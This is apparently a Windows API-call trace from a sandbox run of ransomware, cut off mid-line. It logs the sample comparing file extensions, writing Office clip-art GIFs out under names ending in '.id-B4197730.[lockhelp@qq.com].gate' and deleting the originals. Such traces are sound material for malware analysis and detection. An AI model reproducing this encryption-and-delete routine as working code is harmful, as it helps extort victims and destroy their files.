[0279.685] lstrlenW (lpString=".7z") returned 3 [0279.685] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.685] lstrlenW (lpString=".dbf") returned 4 [0279.686] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.686] lstrlenW (lpString=".1cd") returned 4 [0279.686] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0279.686] lstrlenW (lpString=".jpg") returned 4 [0279.686] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.686] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.686] lstrlenW (lpString="AG00164_.GIF") returned 12 [0279.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.686] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=13254) returned 1 [0279.686] CloseHandle (hObject=0x3dc) returned 1 [0279.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0279.687] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.687] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.687] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.687] GetLastError () returned 0x0 [0279.687] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x33c6, lpOverlapped=0x0) returned 1 [0279.745] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x33d0, lpOverlapped=0x0) returned 1 [0279.746] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.746] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.746] SetEndOfFile (hFile=0x3a0) returned 1 [0279.746] CloseHandle (hObject=0x3a0) returned 1 [0279.747] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.747] SetEndOfFile (hFile=0x3dc) returned 1 [0279.750] CloseHandle (hObject=0x3dc) returned 1 [0279.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0279.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.752] lstrlenW (lpString=".doc") returned 4 [0279.752] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.752] lstrlenW (lpString=".docx") returned 5 [0279.752] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.752] lstrlenW (lpString=".pdf") returned 4 [0279.752] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.752] lstrlenW (lpString=".xls") returned 4 [0279.752] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.752] lstrlenW (lpString=".xlsx") returned 5 [0279.752] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.752] lstrlenW (lpString=".ppt") returned 4 [0279.752] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.752] lstrlenW (lpString=".zip") returned 4 [0279.752] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.752] lstrlenW (lpString=".rar") returned 4 [0279.752] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.752] lstrlenW (lpString=".bz2") returned 4 [0279.752] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.752] lstrlenW (lpString=".7z") returned 3 [0279.752] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString=".dbf") returned 4 [0279.753] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString=".1cd") returned 4 [0279.753] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString=".jpg") returned 4 [0279.753] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString=".doc") returned 4 [0279.753] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.753] lstrlenW (lpString=".docx") returned 5 [0279.753] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.753] lstrlenW (lpString=".pdf") returned 4 [0279.753] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString=".xls") returned 4 [0279.753] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString=".xlsx") returned 5 [0279.753] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.753] lstrlenW (lpString=".ppt") returned 4 [0279.753] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.753] lstrlenW (lpString=".zip") returned 4 [0279.753] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString=".rar") returned 4 [0279.753] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.753] lstrlenW (lpString=".bz2") returned 4 [0279.753] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.753] lstrlenW (lpString=".7z") returned 3 [0279.753] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.754] lstrlenW (lpString=".dbf") returned 4 [0279.754] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.754] lstrlenW (lpString=".1cd") returned 4 [0279.754] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0279.754] lstrlenW (lpString=".jpg") returned 4 [0279.754] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.754] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.754] lstrlenW (lpString="AG00169_.GIF") returned 12 [0279.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.759] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=5375) returned 1 [0279.759] CloseHandle (hObject=0x3dc) returned 1 [0279.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 0x220 [0279.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.760] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.760] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.760] GetLastError () returned 0x0 [0279.760] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x14ff, lpOverlapped=0x0) returned 1 [0279.853] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0x1500, lpOverlapped=0x0) returned 1 [0279.854] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.854] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.854] SetEndOfFile (hFile=0x3a0) returned 1 [0279.854] CloseHandle (hObject=0x3a0) returned 1 [0279.855] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.855] SetEndOfFile (hFile=0x3dc) returned 1 [0279.857] CloseHandle (hObject=0x3dc) returned 1 [0279.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.858] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00169_.gif")) returned 1 [0279.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.858] lstrlenW (lpString=".doc") returned 4 [0279.858] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.858] lstrlenW (lpString=".docx") returned 5 [0279.858] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.858] lstrlenW (lpString=".pdf") returned 4 [0279.858] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.858] lstrlenW (lpString=".xls") returned 4 [0279.858] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.858] lstrlenW (lpString=".xlsx") returned 5 [0279.858] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.858] lstrlenW (lpString=".ppt") returned 4 [0279.858] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.858] lstrlenW (lpString=".zip") returned 4 [0279.858] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.858] lstrlenW (lpString=".rar") returned 4 [0279.858] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.859] lstrlenW (lpString=".bz2") returned 4 [0279.859] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.859] lstrlenW (lpString=".7z") returned 3 [0279.859] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString=".dbf") returned 4 [0279.859] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString=".1cd") returned 4 [0279.859] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString=".jpg") returned 4 [0279.859] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString=".doc") returned 4 [0279.859] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.859] lstrlenW (lpString=".docx") returned 5 [0279.859] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.859] lstrlenW (lpString=".pdf") returned 4 [0279.859] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.859] lstrlenW (lpString=".xls") returned 4 [0279.859] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.859] lstrlenW (lpString=".xlsx") returned 5 [0279.859] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.859] lstrlenW (lpString=".ppt") returned 4 [0279.859] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.859] lstrlenW (lpString=".zip") returned 4 [0279.860] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.860] lstrlenW (lpString=".rar") returned 4 [0279.860] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.860] lstrlenW (lpString=".bz2") returned 4 [0279.860] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.860] lstrlenW (lpString=".7z") returned 3 [0279.860] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.860] lstrlenW (lpString=".dbf") returned 4 [0279.860] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.860] lstrlenW (lpString=".1cd") returned 4 [0279.860] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00169_.GIF") returned 68 [0279.860] lstrlenW (lpString=".jpg") returned 4 [0279.860] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.860] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.860] lstrlenW (lpString="AG00174_.GIF") returned 12 [0279.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.861] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=3966) returned 1 [0279.861] CloseHandle (hObject=0x3dc) returned 1 [0279.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0279.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0279.862] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.862] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0279.862] GetLastError () returned 0x0 [0279.862] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0xf7e, lpOverlapped=0x0) returned 1 [0279.907] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xf80, lpOverlapped=0x0) returned 1 [0279.908] ReadFile (in: hFile=0x3dc, lpBuffer=0x3d9d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.908] WriteFile (in: hFile=0x3a0, lpBuffer=0x3d9d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9d020*, lpNumberOfBytesWritten=0x33bfc94*=0xec, lpOverlapped=0x0) returned 1 [0279.908] SetEndOfFile (hFile=0x3a0) returned 1 [0279.908] CloseHandle (hObject=0x3a0) returned 1 [0279.909] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.909] SetEndOfFile (hFile=0x3dc) returned 1 [0279.911] CloseHandle (hObject=0x3dc) returned 1 [0279.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0279.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.912] lstrlenW (lpString=".doc") returned 4 [0279.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.912] lstrlenW (lpString=".docx") returned 5 [0279.912] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.912] lstrlenW (lpString=".pdf") returned 4 [0279.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.912] lstrlenW (lpString=".xls") returned 4 [0279.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.912] lstrlenW (lpString=".xlsx") returned 5 [0279.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.912] lstrlenW (lpString=".ppt") returned 4 [0279.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString=".zip") returned 4 [0279.913] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString=".rar") returned 4 [0279.913] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString=".bz2") returned 4 [0279.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.913] lstrlenW (lpString=".7z") returned 3 [0279.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString=".dbf") returned 4 [0279.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString=".1cd") returned 4 [0279.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString=".jpg") returned 4 [0279.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.913] lstrlenW (lpString=".doc") returned 4 [0279.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.913] lstrlenW (lpString=".docx") returned 5 [0279.913] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.913] lstrlenW (lpString=".pdf") returned 4 [0279.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString=".xls") returned 4 [0279.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.913] lstrlenW (lpString=".xlsx") returned 5 [0279.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.913] lstrlenW (lpString=".ppt") returned 4 [0279.913] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.914] lstrlenW (lpString=".zip") returned 4 [0279.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.914] lstrlenW (lpString=".rar") returned 4 [0279.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.914] lstrlenW (lpString=".bz2") returned 4 [0279.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.914] lstrlenW (lpString=".7z") returned 3 [0279.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 68 [0279.914] lstrlenW (lpString=".dbf") returned 4 [0279.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") 